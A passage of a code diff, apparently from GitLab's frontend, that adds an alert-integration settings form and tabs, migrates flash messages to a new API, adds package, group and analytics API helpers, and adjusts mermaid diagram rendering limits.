+ I18N_ALERT_SETTINGS_FORM,
+ NO_ISSUE_TEMPLATE_SELECTED,
+ TAKING_INCIDENT_ACTION_DOCS_LINK,
+ ISSUE_TEMPLATES_DOCS_LINK,
+} from '../constants';
+
+export default {
+ components: {
+ GlButton,
+ GlSprintf,
+ GlLink,
+ GlFormGroup,
+ GlFormCheckbox,
+ GlDropdown,
+ GlDropdownItem,
+ },
+ inject: ['service', 'alertSettings'],
+ data() {
+ return {
+ templates: [NO_ISSUE_TEMPLATE_SELECTED, ...this.alertSettings.templates],
+ createIssueEnabled: this.alertSettings.createIssue,
+ issueTemplate: this.alertSettings.issueTemplateKey,
+ sendEmailEnabled: this.alertSettings.sendEmail,
+ autoCloseIncident: this.alertSettings.autoCloseIncident,
+ loading: false,
+ };
+ },
+ i18n: I18N_ALERT_SETTINGS_FORM,
+ TAKING_INCIDENT_ACTION_DOCS_LINK,
+ ISSUE_TEMPLATES_DOCS_LINK,
+ computed: {
+ issueTemplateHeader() {
+ return this.issueTemplate || NO_ISSUE_TEMPLATE_SELECTED.name;
+ },
+ formData() {
+ return {
+ create_issue: this.createIssueEnabled,
+ issue_template_key: this.issueTemplate,
+ send_email: this.sendEmailEnabled,
+ auto_close_incident: this.autoCloseIncident,
+ };
+ },
+ },
+ methods: {
+ selectIssueTemplate(templateKey) {
+ this.issueTemplate = templateKey;
+ },
+ isTemplateSelected(templateKey) {
+ return templateKey === this.issueTemplate;
+ },
+ updateAlertsIntegrationSettings() {
+ this.loading = true;
+
+ this.service.updateSettings(this.formData).catch(() => {
+ this.loading = false;
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <p>
+ <gl-sprintf :message="$options.i18n.introText">
+ <template #docsLink>
+ <gl-link :href="$options.TAKING_INCIDENT_ACTION_DOCS_LINK" target="_blank">
+ <span>{{ $options.i18n.introLinkText }}</span>
+ </gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ <form ref="settingsForm" @submit.prevent="updateAlertsIntegrationSettings">
+ <gl-form-group class="gl-pl-0">
+ <gl-form-checkbox v-model="createIssueEnabled" data-qa-selector="create_issue_checkbox">
+ <span>{{ $options.i18n.createIncident.label }}</span>
+ </gl-form-checkbox>
+ </gl-form-group>
+
+ <gl-form-group
+ label-size="sm"
+ label-for="alert-integration-settings-issue-template"
+ class="col-8 col-md-9 gl-px-6"
+ >
+ <label class="gl-display-inline-flex" for="alert-integration-settings-issue-template">
+ {{ $options.i18n.incidentTemplate.label }}
+ <gl-link :href="$options.ISSUE_TEMPLATES_DOCS_LINK" target="_blank">
+ <span class="gl-font-weight-normal gl-pl-2">{{ $options.i18n.introLinkText }}</span>
+ </gl-link>
+ </label>
+ <gl-dropdown
+ id="alert-integration-settings-issue-template"
+ data-qa-selector="incident_templates_dropdown"
+ :text="issueTemplateHeader"
+ :block="true"
+ >
+ <gl-dropdown-item
+ v-for="template in templates"
+ :key="template.key"
+ data-qa-selector="incident_templates_item"
+ :is-check-item="true"
+ :is-checked="isTemplateSelected(template.key)"
+ @click="selectIssueTemplate(template.key)"
+ >
+ {{ template.name }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+ </gl-form-group>
+
+ <gl-form-group class="gl-pl-0 gl-mb-5">
+ <gl-form-checkbox v-model="sendEmailEnabled">
+ <span>{{ $options.i18n.sendEmail.label }}</span>
+ </gl-form-checkbox>
+ </gl-form-group>
+ <gl-form-group class="gl-pl-0 gl-mb-5">
+ <gl-form-checkbox v-model="autoCloseIncident">
+ <span>{{ $options.i18n.autoCloseIncidents.label }}</span>
+ </gl-form-checkbox>
+ </gl-form-group>
+ <gl-button
+ ref="submitBtn"
+ data-qa-selector="save_changes_button"
+ :disabled="loading"
+ variant="confirm"
+ type="submit"
+ class="js-no-auto-disable"
+ >
+ {{ $options.i18n.saveBtnLabel }}
+ </gl-button>
+ </form>
+ </div>
+</template>
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue b/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue
index d9e5878b9e3..f4cc0678c38 100644
--- a/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue
+++ b/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue
@@ -23,7 +23,6 @@ import getCurrentIntegrationQuery from '../graphql/queries/get_current_integrati
export const i18n = {
deleteIntegration: s__('AlertSettings|Delete integration'),
editIntegration: s__('AlertSettings|Edit integration'),
- title: s__('AlertsIntegrations|Current integrations'),
emptyState: s__('AlertsIntegrations|No integrations have been added yet.'),
status: {
enabled: {
@@ -141,7 +140,6 @@ export default {
<template>
<div class="incident-management-list">
- <h5 class="gl-font-lg gl-mt-5">{{ $options.i18n.title }}</h5>
<gl-table
class="integration-list"
:items="integrations"
@@ -155,7 +153,7 @@ export default {
<span v-if="item.active" data-testid="integration-activated-status">
<gl-icon
v-gl-tooltip
- name="check-circle-filled"
+ name="check"
:size="16"
class="gl-text-green-500 gl-hover-cursor-pointer gl-mr-3"
:title="$options.i18n.status.enabled.tooltip"
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue b/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
index 3917e4c5fdd..902bad780ad 100644
--- a/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
+++ b/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
@@ -1,5 +1,5 @@
<script>
-import { GlButton, GlAlert } from '@gitlab/ui';
+import { GlButton, GlAlert, GlTabs, GlTab } from '@gitlab/ui';
import createHttpIntegrationMutation from 'ee_else_ce/alerts_settings/graphql/mutations/create_http_integration.mutation.graphql';
import updateHttpIntegrationMutation from 'ee_else_ce/alerts_settings/graphql/mutations/update_http_integration.mutation.graphql';
import createFlash, { FLASH_TYPES } from '~/flash';
@@ -30,6 +30,7 @@ import {
INTEGRATION_INACTIVE_PAYLOAD_TEST_ERROR,
DEFAULT_ERROR,
} from '../utils/error_messages';
+import AlertsForm from './alerts_form.vue';
import IntegrationsList from './alerts_integrations_list.vue';
import AlertSettingsForm from './alerts_settings_form.vue';
@@ -38,9 +39,12 @@ export default {
i18n,
components: {
IntegrationsList,
+ AlertsForm,
AlertSettingsForm,
- GlButton,
GlAlert,
+ GlButton,
+ GlTabs,
+ GlTab,
},
inject: {
projectPath: {
@@ -167,7 +171,7 @@ export default {
if (testAfterSubmit) {
this.viewIntegration(integration, tabIndices.sendTestAlert);
} else {
- this.clearCurrentIntegration(type);
+ this.clearCurrentIntegration({ type });
}
createFlash({
@@ -347,46 +351,51 @@ export default {
</script>
<template>
- <div>
- <gl-alert
- v-if="showSuccessfulCreateAlert"
- class="gl-mt-n2"
- :primary-button-text="$options.i18n.integrationCreated.btnCaption"
- :title="$options.i18n.integrationCreated.title"
- @primaryAction="viewCreatedIntegration"
- @dismiss="showSuccessfulCreateAlert = false"
- >
- {{ $options.i18n.integrationCreated.successMsg }}
- </gl-alert>
+ <gl-tabs data-testid="alert-integration-settings">
+ <gl-tab :title="$options.i18n.settingsTabs.currentIntegrations">
+ <gl-alert
+ v-if="showSuccessfulCreateAlert"
+ class="gl-mt-n2"
+ :primary-button-text="$options.i18n.integrationCreated.btnCaption"
+ :title="$options.i18n.integrationCreated.title"
+ @primaryAction="viewCreatedIntegration"
+ @dismiss="showSuccessfulCreateAlert = false"
+ >
+ {{ $options.i18n.integrationCreated.successMsg }}
+ </gl-alert>
- <integrations-list
- :integrations="integrations"
- :loading="loading"
- @edit-integration="editIntegration"
- @delete-integration="deleteIntegration"
- />
- <gl-button
- v-if="canAddIntegration && !formVisible"
- category="secondary"
- variant="confirm"
- data-testid="add-integration-btn"
- class="gl-mt-3"
- @click="setFormVisibility(true)"
- >
- {{ $options.i18n.addNewIntegration }}
- </gl-button>
- <alert-settings-form
- v-if="formVisible"
- :loading="isUpdating"
- :can-add-integration="canAddIntegration"
- :alert-fields="alertFields"
- :tab-index="tabIndex"
- @create-new-integration="createNewIntegration"
- @update-integration="updateIntegration"
- @reset-token="resetToken"
- @clear-current-integration="clearCurrentIntegration"
- @test-alert-payload="testAlertPayload"
- @save-and-test-alert-payload="saveAndTestAlertPayload"
- />
- </div>
+ <integrations-list
+ :integrations="integrations"
+ :loading="loading"
+ @edit-integration="editIntegration"
+ @delete-integration="deleteIntegration"
+ />
+ <gl-button
+ v-if="canAddIntegration && !formVisible"
+ category="secondary"
+ variant="confirm"
+ data-testid="add-integration-btn"
+ class="gl-mt-3"
+ @click="setFormVisibility(true)"
+ >
+ {{ $options.i18n.addNewIntegration }}
+ </gl-button>
+ <alert-settings-form
+ v-if="formVisible"
+ :loading="isUpdating"
+ :can-add-integration="canAddIntegration"
+ :alert-fields="alertFields"
+ :tab-index="tabIndex"
+ @create-new-integration="createNewIntegration"
+ @update-integration="updateIntegration"
+ @reset-token="resetToken"
+ @clear-current-integration="clearCurrentIntegration"
+ @test-alert-payload="testAlertPayload"
+ @save-and-test-alert-payload="saveAndTestAlertPayload"
+ />
+ </gl-tab>
+ <gl-tab :title="$options.i18n.settingsTabs.integrationSettings">
+ <alerts-form class="gl-pt-3" data-testid="alert-integration-settings-tab" />
+ </gl-tab>
+ </gl-tabs>
</template>
diff --git a/app/assets/javascripts/alerts_settings/constants.js b/app/assets/javascripts/alerts_settings/constants.js
index 4a180ed2bc0..b93119d6e6a 100644
--- a/app/assets/javascripts/alerts_settings/constants.js
+++ b/app/assets/javascripts/alerts_settings/constants.js
@@ -93,6 +93,10 @@ export const i18n = {
integrationRemoved: s__('AlertsIntegrations|The integration is deleted.'),
alertSent: s__('AlertsIntegrations|The test alert should now be visible in your alerts list.'),
addNewIntegration: s__('AlertSettings|Add new integration'),
+ settingsTabs: {
+ currentIntegrations: s__('AlertSettings|Current integrations'),
+ integrationSettings: s__('AlertSettings|Alert settings'),
+ },
};
export const integrationSteps = {
@@ -156,3 +160,31 @@ export const tabIndices = {
};
export const testAlertModalId = 'confirmSendTestAlert';
+
+/* Alerts integration settings constants */
+
+export const I18N_ALERT_SETTINGS_FORM = {
+ saveBtnLabel: __('Save changes'),
+ introText: __('Action to take when receiving an alert. %{docsLink}'),
+ introLinkText: __('Learn more.'),
+ createIncident: {
+ label: __('Create an incident. Incidents are created for each alert triggered.'),
+ },
+ incidentTemplate: {
+ label: __('Incident template (optional).'),
+ },
+ sendEmail: {
+ label: __('Send a single email notification to Owners and Maintainers for new alerts.'),
+ },
+ autoCloseIncidents: {
+ label: __(
+ 'Automatically close associated incident when a recovery alert notification resolves an alert',
+ ),
+ },
+};
+
+export const NO_ISSUE_TEMPLATE_SELECTED = { key: '', name: __('No template selected') };
+export const TAKING_INCIDENT_ACTION_DOCS_LINK =
+ '/help/operations/metrics/alerts#trigger-actions-from-alerts';
+export const ISSUE_TEMPLATES_DOCS_LINK =
+ '/help/user/project/description_templates#create-an-issue-template';
diff --git a/app/assets/javascripts/alerts_settings/graphql.js b/app/assets/javascripts/alerts_settings/graphql.js
index 72817f636ff..15862f4034a 100644
--- a/app/assets/javascripts/alerts_settings/graphql.js
+++ b/app/assets/javascripts/alerts_settings/graphql.js
@@ -1,9 +1,15 @@
+import { IntrospectionFragmentMatcher } from 'apollo-cache-inmemory';
import produce from 'immer';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
+import introspectionQueryResultData from './graphql/fragmentTypes.json';
import getCurrentIntegrationQuery from './graphql/queries/get_current_integration.query.graphql';
+const fragmentMatcher = new IntrospectionFragmentMatcher({
+ introspectionQueryResultData,
+});
+
Vue.use(VueApollo);
const resolvers = {
@@ -50,7 +56,9 @@ const resolvers = {
export default new VueApollo({
defaultClient: createDefaultClient(resolvers, {
- cacheConfig: {},
+ cacheConfig: {
+ fragmentMatcher,
+ },
assumeImmutableResults: true,
}),
});
diff --git a/app/assets/javascripts/alerts_settings/graphql/fragmentTypes.json b/app/assets/javascripts/alerts_settings/graphql/fragmentTypes.json
new file mode 100644
index 00000000000..07dfc43aa6c
--- /dev/null
+++ b/app/assets/javascripts/alerts_settings/graphql/fragmentTypes.json
@@ -0,0 +1 @@
+{"__schema":{"types":[{"kind":"UNION","name":"AlertManagementIntegration","possibleTypes":[{"name":"AlertManagementHttpIntegration"},{"name":"AlertManagementPrometheusIntegration"}]}]}}
diff --git a/app/assets/javascripts/alerts_settings/index.js b/app/assets/javascripts/alerts_settings/index.js
index 953a867b2b7..19cdf1d7a19 100644
--- a/app/assets/javascripts/alerts_settings/index.js
+++ b/app/assets/javascripts/alerts_settings/index.js
@@ -1,5 +1,6 @@
import { GlToast } from '@gitlab/ui';
import Vue from 'vue';
+import IncidentsSettingsService from '~/incidents_settings/incidents_settings_service';
import { parseBoolean } from '~/lib/utils/common_utils';
import AlertSettingsWrapper from './components/alerts_settings_wrapper.vue';
import apolloProvider from './graphql';
@@ -19,14 +20,37 @@ export default (el) => {
return null;
}
- const { alertsUsageUrl, projectPath, multiIntegrations, alertFields } = el.dataset;
+ const {
+ alertsUsageUrl,
+ projectPath,
+ multiIntegrations,
+ alertFields,
+ templates,
+ createIssue,
+ issueTemplateKey,
+ sendEmail,
+ autoCloseIncident,
+ pagerdutyResetKeyPath,
+ operationsSettingsEndpoint,
+ } = el.dataset;
+ const service = new IncidentsSettingsService(operationsSettingsEndpoint, pagerdutyResetKeyPath);
return new Vue({
el,
components: {
AlertSettingsWrapper,
},
provide: {
+ service,
+ alertSettings: {
+ templates: JSON.parse(templates),
+ createIssue: parseBoolean(createIssue),
+ issueTemplateKey,
+ sendEmail: parseBoolean(sendEmail),
+ autoCloseIncident: parseBoolean(autoCloseIncident),
+ pagerdutyResetKeyPath,
+ operationsSettingsEndpoint,
+ },
alertsUsageUrl,
projectPath,
multiIntegrations: parseBoolean(multiIntegrations),
diff --git a/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue b/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue
index 80ad36d0519..0b4fa879b03 100644
--- a/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue
+++ b/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue
@@ -1,7 +1,6 @@
<script>
-import * as Sentry from '@sentry/browser';
import MetricCard from '~/analytics/shared/components/metric_card.vue';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { number } from '~/lib/utils/unit_format';
import { s__ } from '~/locale';
import usageTrendsCountQuery from '../graphql/queries/usage_trends_count.query.graphql';
@@ -34,8 +33,11 @@ export default {
});
},
error(error) {
- createFlash(this.$options.i18n.loadCountsError);
- Sentry.captureException(error);
+ createFlash({
+ message: this.$options.i18n.loadCountsError,
+ captureError: true,
+ error,
+ });
},
},
},
diff --git a/app/assets/javascripts/api.js b/app/assets/javascripts/api.js
index 516235657cb..41cc2036a6b 100644
--- a/app/assets/javascripts/api.js
+++ b/app/assets/javascripts/api.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import axios from './lib/utils/axios_utils';
import { joinPaths } from './lib/utils/url_utility';
@@ -18,11 +18,14 @@ const Api = {
groupMembersPath: '/api/:version/groups/:id/members',
groupMilestonesPath: '/api/:version/groups/:id/milestones',
subgroupsPath: '/api/:version/groups/:id/subgroups',
+ descendantGroupsPath: '/api/:version/groups/:id/descendant_groups',
namespacesPath: '/api/:version/namespaces.json',
groupInvitationsPath: '/api/:version/groups/:id/invitations',
groupPackagesPath: '/api/:version/groups/:id/packages',
projectPackagesPath: '/api/:version/projects/:id/packages',
projectPackagePath: '/api/:version/projects/:id/packages/:package_id',
+ projectPackageFilePath:
+ '/api/:version/projects/:id/packages/:package_id/package_files/:package_file_id',
groupProjectsPath: '/api/:version/groups/:id/projects.json',
groupSharePath: '/api/:version/groups/:id/share',
projectsPath: '/api/:version/projects.json',
@@ -124,6 +127,15 @@ const Api = {
return axios.delete(url);
},
+ deleteProjectPackageFile(projectId, packageId, fileId) {
+ const url = Api.buildUrl(this.projectPackageFilePath)
+ .replace(':id', projectId)
+ .replace(':package_id', packageId)
+ .replace(':package_file_id', fileId);
+
+ return axios.delete(url);
+ },
+
containerRegistryDetails(registryId, options = {}) {
const url = Api.buildUrl(this.containerRegistryDetailsPath).replace(':id', registryId);
return axios.get(url, options);
@@ -443,7 +455,9 @@ const Api = {
})
.then(({ data }) => (callback ? callback(data) : data))
.catch(() => {
- flash(__('Something went wrong while fetching projects'));
+ createFlash({
+ message: __('Something went wrong while fetching projects'),
+ });
if (callback) {
callback();
}
@@ -631,7 +645,11 @@ const Api = {
params: { ...defaults, ...options },
})
.then(({ data }) => callback(data))
- .catch(() => flash(__('Something went wrong while fetching projects')));
+ .catch(() =>
+ createFlash({
+ message: __('Something went wrong while fetching projects'),
+ }),
+ );
},
branches(id, query = '', options = {}) {
@@ -866,7 +884,7 @@ const Api = {
},
trackRedisHllUserEvent(event) {
- if (!gon.features?.usageDataApi) {
+ if (!gon.current_user_id || !gon.features?.usageDataApi) {
return null;
}
diff --git a/app/assets/javascripts/api/analytics_api.js b/app/assets/javascripts/api/analytics_api.js
new file mode 100644
index 00000000000..58494c5a2b8
--- /dev/null
+++ b/app/assets/javascripts/api/analytics_api.js
@@ -0,0 +1,32 @@
+import axios from '~/lib/utils/axios_utils';
+import { buildApiUrl } from './api_utils';
+
+const PROJECT_VSA_PATH_BASE = '/:project_path/-/analytics/value_stream_analytics/value_streams';
+const PROJECT_VSA_STAGES_PATH = `${PROJECT_VSA_PATH_BASE}/:value_stream_id/stages`;
+
+const buildProjectValueStreamPath = (projectPath, valueStreamId = null) => {
+ if (valueStreamId) {
+ return buildApiUrl(PROJECT_VSA_STAGES_PATH)
+ .replace(':project_path', projectPath)
+ .replace(':value_stream_id', valueStreamId);
+ }
+ return buildApiUrl(PROJECT_VSA_PATH_BASE).replace(':project_path', projectPath);
+};
+
+export const getProjectValueStreams = (projectPath) => {
+ const url = buildProjectValueStreamPath(projectPath);
+ return axios.get(url);
+};
+
+export const getProjectValueStreamStages = (projectPath, valueStreamId) => {
+ const url = buildProjectValueStreamPath(projectPath, valueStreamId);
+ return axios.get(url);
+};
+
+// NOTE: legacy VSA request use a different path
+// the `requestPath` provides a full url for the request
+export const getProjectValueStreamStageData = ({ requestPath, stageId, params }) =>
+ axios.get(`${requestPath}/events/${stageId}`, { params });
+
+export const getProjectValueStreamMetrics = (requestPath, params) =>
+ axios.get(requestPath, { params });
diff --git a/app/assets/javascripts/api/groups_api.js b/app/assets/javascripts/api/groups_api.js
index d4ba46656e6..d6c9e1d42cc 100644
--- a/app/assets/javascripts/api/groups_api.js
+++ b/app/assets/javascripts/api/groups_api.js
@@ -3,9 +3,9 @@ import { buildApiUrl } from './api_utils';
import { DEFAULT_PER_PAGE } from './constants';
const GROUPS_PATH = '/api/:version/groups.json';
+const DESCENDANT_GROUPS_PATH = '/api/:version/groups/:id/descendant_groups';
-export function getGroups(query, options, callback = () => {}) {
- const url = buildApiUrl(GROUPS_PATH);
+const axiosGet = (url, query, options, callback) => {
return axios
.get(url, {
params: {
@@ -19,4 +19,14 @@ export function getGroups(query, options, callback = () => {}) {
return data;
});
+};
+
+export function getGroups(query, options, callback = () => {}) {
+ const url = buildApiUrl(GROUPS_PATH);
+ return axiosGet(url, query, options, callback);
+}
+
+export function getDescendentGroups(parentGroupId, query, options, callback = () => {}) {
+ const url = buildApiUrl(DESCENDANT_GROUPS_PATH.replace(':id', parentGroupId));
+ return axiosGet(url, query, options, callback);
}
diff --git a/app/assets/javascripts/api/markdown_api.js b/app/assets/javascripts/api/markdown_api.js
new file mode 100644
index 00000000000..5c9c1713bd8
--- /dev/null
+++ b/app/assets/javascripts/api/markdown_api.js
@@ -0,0 +1,11 @@
+import axios from '../lib/utils/axios_utils';
+import { buildApiUrl } from './api_utils';
+
+const MARKDOWN_PATH = '/api/:version/markdown';
+
+export function getMarkdown(options) {
+ const url = buildApiUrl(MARKDOWN_PATH);
+ return axios.post(url, {
+ ...options,
+ });
+}
diff --git a/app/assets/javascripts/badges/components/badge_form.vue b/app/assets/javascripts/badges/components/badge_form.vue
index b65a8b4fa9c..7c4ff830a9d 100644
--- a/app/assets/javascripts/badges/components/badge_form.vue
+++ b/app/assets/javascripts/badges/components/badge_form.vue
@@ -3,7 +3,7 @@
import { GlLoadingIcon, GlFormInput, GlFormGroup, GlButton } from '@gitlab/ui';
import { escape, debounce } from 'lodash';
import { mapActions, mapState } from 'vuex';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { s__, sprintf } from '~/locale';
import createEmptyBadge from '../empty_badge';
import Badge from './badge.vue';
@@ -134,26 +134,36 @@ export default {
if (this.isEditing) {
return this.saveBadge()
.then(() => {
- createFlash(s__('Badges|Badge saved.'), 'notice');
+ createFlash({
+ message: s__('Badges|Badge saved.'),
+ type: 'notice',
+ });
this.wasValidated = false;
})
.catch((error) => {
- createFlash(
- s__('Badges|Saving the badge failed, please check the entered URLs and try again.'),
- );
+ createFlash({
+ message: s__(
+ 'Badges|Saving the badge failed, please check the entered URLs and try again.',
+ ),
+ });
throw error;
});
}
return this.addBadge()
.then(() => {
- createFlash(s__('Badges|New badge added.'), 'notice');
+ createFlash({
+ message: s__('Badges|New badge added.'),
+ type: 'notice',
+ });
this.wasValidated = false;
})
.catch((error) => {
- createFlash(
- s__('Badges|Adding the badge failed, please check the entered URLs and try again.'),
- );
+ createFlash({
+ message: s__(
+ 'Badges|Adding the badge failed, please check the entered URLs and try again.',
+ ),
+ });
throw error;
});
},
diff --git a/app/assets/javascripts/badges/components/badge_settings.vue b/app/assets/javascripts/badges/components/badge_settings.vue
index 8d5bd216367..825807e833e 100644
--- a/app/assets/javascripts/badges/components/badge_settings.vue
+++ b/app/assets/javascripts/badges/components/badge_settings.vue
@@ -1,7 +1,7 @@
<script>
import { GlSprintf, GlModal } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { s__ } from '~/locale';
import Badge from './badge.vue';
import BadgeForm from './badge_form.vue';
@@ -40,10 +40,15 @@ export default {
onSubmitModal() {
this.deleteBadge(this.badgeInModal)
.then(() => {
- createFlash(s__('Badges|The badge was deleted.'), 'notice');
+ createFlash({
+ message: s__('Badges|The badge was deleted.'),
+ type: 'notice',
+ });
})
.catch((error) => {
- createFlash(s__('Badges|Deleting the badge failed, please try again.'));
+ createFlash({
+ message: s__('Badges|Deleting the badge failed, please try again.'),
+ });
throw error;
});
},
diff --git a/app/assets/javascripts/batch_comments/components/preview_item.vue b/app/assets/javascripts/batch_comments/components/preview_item.vue
index 753608cf6f7..0eb4e6e7709 100644
--- a/app/assets/javascripts/batch_comments/components/preview_item.vue
+++ b/app/assets/javascripts/batch_comments/components/preview_item.vue
@@ -46,9 +46,13 @@ export default {
}
if (this.discussion) {
- return sprintf(__("%{authorsName}'s thread"), {
- authorsName: this.discussion.notes.find((note) => !note.system).author.name,
- });
+ return sprintf(
+ __("%{authorsName}'s thread"),
+ {
+ authorsName: this.discussion.notes.find((note) => !note.system).author.name,
+ },
+ false,
+ );
}
return __('Your new comment');
diff --git a/app/assets/javascripts/batch_comments/stores/modules/batch_comments/actions.js b/app/assets/javascripts/batch_comments/stores/modules/batch_comments/actions.js
index 88be64d0a1a..a8c0b064595 100644
--- a/app/assets/javascripts/batch_comments/stores/modules/batch_comments/actions.js
+++ b/app/assets/javascripts/batch_comments/stores/modules/batch_comments/actions.js
@@ -41,11 +41,18 @@ export const deleteDraft = ({ commit, getters }, draft) =>
})
.catch(() => flash(__('An error occurred while deleting the comment')));
-export const fetchDrafts = ({ commit, getters }) =>
+export const fetchDrafts = ({ commit, getters, state, dispatch }) =>
service
.fetchDrafts(getters.getNotesData.draftsPath)
.then((res) => res.data)
.then((data) => commit(types.SET_BATCH_COMMENTS_DRAFTS, data))
+ .then(() => {
+ state.drafts.forEach((draft) => {
+ if (!draft.line_code) {
+ dispatch('convertToDiscussion', draft.discussion_id, { root: true });
+ }
+ });
+ })
.catch(() => flash(__('An error occurred while fetching pending comments')));
export const publishSingleDraft = ({ commit, dispatch, getters }, draftId) => {
diff --git a/app/assets/javascripts/behaviors/gl_emoji.js b/app/assets/javascripts/behaviors/gl_emoji.js
index bf7a87144f9..ef445548e6e 100644
--- a/app/assets/javascripts/behaviors/gl_emoji.js
+++ b/app/assets/javascripts/behaviors/gl_emoji.js
@@ -1,4 +1,3 @@
-import 'document-register-element';
import {
initEmojiMap,
getEmojiInfo,
diff --git a/app/assets/javascripts/behaviors/markdown/render_mermaid.js b/app/assets/javascripts/behaviors/markdown/render_mermaid.js
index f5b2d266c18..5fecadf2794 100644
--- a/app/assets/javascripts/behaviors/markdown/render_mermaid.js
+++ b/app/assets/javascripts/behaviors/markdown/render_mermaid.js
@@ -30,6 +30,24 @@ let renderedMermaidBlocks = 0;
let mermaidModule = {};
+// Whitelist pages where we won't impose any restrictions
+// on mermaid rendering
+const WHITELISTED_PAGES = [
+ // Group wiki
+ 'groups:wikis:show',
+ 'groups:wikis:edit',
+ 'groups:wikis:create',
+
+ // Project wiki
+ 'projects:wikis:show',
+ 'projects:wikis:edit',
+ 'projects:wikis:create',
+
+ // Project files
+ 'projects:show',
+ 'projects:blob:show',
+];
+
export function initMermaid(mermaid) {
let theme = 'neutral';
@@ -46,7 +64,7 @@ export function initMermaid(mermaid) {
theme,
flowchart: {
useMaxWidth: true,
- htmlLabels: false,
+ htmlLabels: true,
},
securityLevel: 'strict',
});
@@ -120,8 +138,10 @@ function renderMermaidEl(el) {
function renderMermaids($els) {
if (!$els.length) return;
+ const pageName = document.querySelector('body').dataset.page;
+
// A diagram may have been truncated in search results which will cause errors, so abort the render.
- if (document.querySelector('body').dataset.page === 'search:show') return;
+ if (pageName === 'search:show') return;
importMermaidModule()
.then(() => {
@@ -140,10 +160,11 @@ function renderMermaids($els) {
* up the entire thread and causing a DoS.
*/
if (
- (source && source.length > MAX_CHAR_LIMIT) ||
- renderedChars > MAX_CHAR_LIMIT ||
- renderedMermaidBlocks >= MAX_MERMAID_BLOCK_LIMIT ||
- shouldLazyLoadMermaidBlock(source)
+ !WHITELISTED_PAGES.includes(pageName) &&
+ ((source && source.length > MAX_CHAR_LIMIT) ||
+ renderedChars > MAX_CHAR_LIMIT ||
+ renderedMermaidBlocks >= MAX_MERMAID_BLOCK_LIMIT ||
+ shouldLazyLoadMermaidBlock(source))
) {
const html = `
<div class="alert gl-alert gl-alert-warning alert-dismissible lazy-render-mermaid-container js-lazy-render-mermaid-container fade show" role="alert">
diff --git a/app/assets/javascripts/behaviors/shortcuts/keybindings.js b/app/assets/javascripts/behaviors/shortcuts/keybindings.js
index c63dba05f10..005ef103ded 100644
--- a/app/assets/javascripts/behaviors/shortcuts/keybindings.js
+++ b/app/assets/javascripts/behaviors/shortcuts/keybindings.js
@@ -105,6 +105,12 @@ export const TOGGLE_PERFORMANCE_BAR = {
defaultKeys: ['p b'], // eslint-disable-line @gitlab/require-i18n-strings
};
+export const HIDE_APPEARING_CONTENT = {
+ id: 'globalShortcuts.hideAppearingContent',
+ description: __('Hide tooltips or popovers'),
+ defaultKeys: ['esc'],
+};
+
export const TOGGLE_CANARY = {
id: 'globalShortcuts.toggleCanary',
description: __('Toggle GitLab Next'),
@@ -492,6 +498,7 @@ export const GLOBAL_SHORTCUTS_GROUP = {
GO_TO_YOUR_MERGE_REQUESTS,
GO_TO_YOUR_TODO_LIST,
TOGGLE_PERFORMANCE_BAR,
+ HIDE_APPEARING_CONTENT,
],
};
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
index 03cba78cf31..ac2a4184176 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
@@ -12,6 +12,7 @@ import {
START_SEARCH,
FOCUS_FILTER_BAR,
TOGGLE_PERFORMANCE_BAR,
+ HIDE_APPEARING_CONTENT,
TOGGLE_CANARY,
TOGGLE_MARKDOWN_PREVIEW,
GO_TO_YOUR_TODO_LIST,
@@ -78,6 +79,7 @@ export default class Shortcuts {
Mousetrap.bind(keysFor(START_SEARCH), Shortcuts.focusSearch);
Mousetrap.bind(keysFor(FOCUS_FILTER_BAR), this.focusFilter.bind(this));
Mousetrap.bind(keysFor(TOGGLE_PERFORMANCE_BAR), Shortcuts.onTogglePerfBar);
+ Mousetrap.bind(keysFor(HIDE_APPEARING_CONTENT), Shortcuts.hideAppearingContent);
Mousetrap.bind(keysFor(TOGGLE_CANARY), Shortcuts.onToggleCanary);
const findFileURL = document.body.dataset.findFile;
@@ -202,6 +204,18 @@ export default class Shortcuts {
}
}
+ static hideAppearingContent(e) {
+ const elements = document.querySelectorAll('.tooltip, .popover');
+
+ elements.forEach((element) => {
+ element.style.display = 'none';
+ });
+
+ if (e.preventDefault) {
+ e.preventDefault();
+ }
+ }
+
/**
* Initializes markdown editor shortcuts on the provided `<textarea>` element
*
diff --git a/app/assets/javascripts/blob/components/table_contents.vue b/app/assets/javascripts/blob/components/table_contents.vue
new file mode 100644
index 00000000000..78ecb82f2cd
--- /dev/null
+++ b/app/assets/javascripts/blob/components/table_contents.vue
@@ -0,0 +1,74 @@
+<script>
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+
+function getHeaderNumber(el) {
+ return parseInt(el.tagName.match(/\d+/)[0], 10);
+}
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ },
+ data() {
+ return {
+ isHidden: false,
+ items: [],
+ };
+ },
+ mounted() {
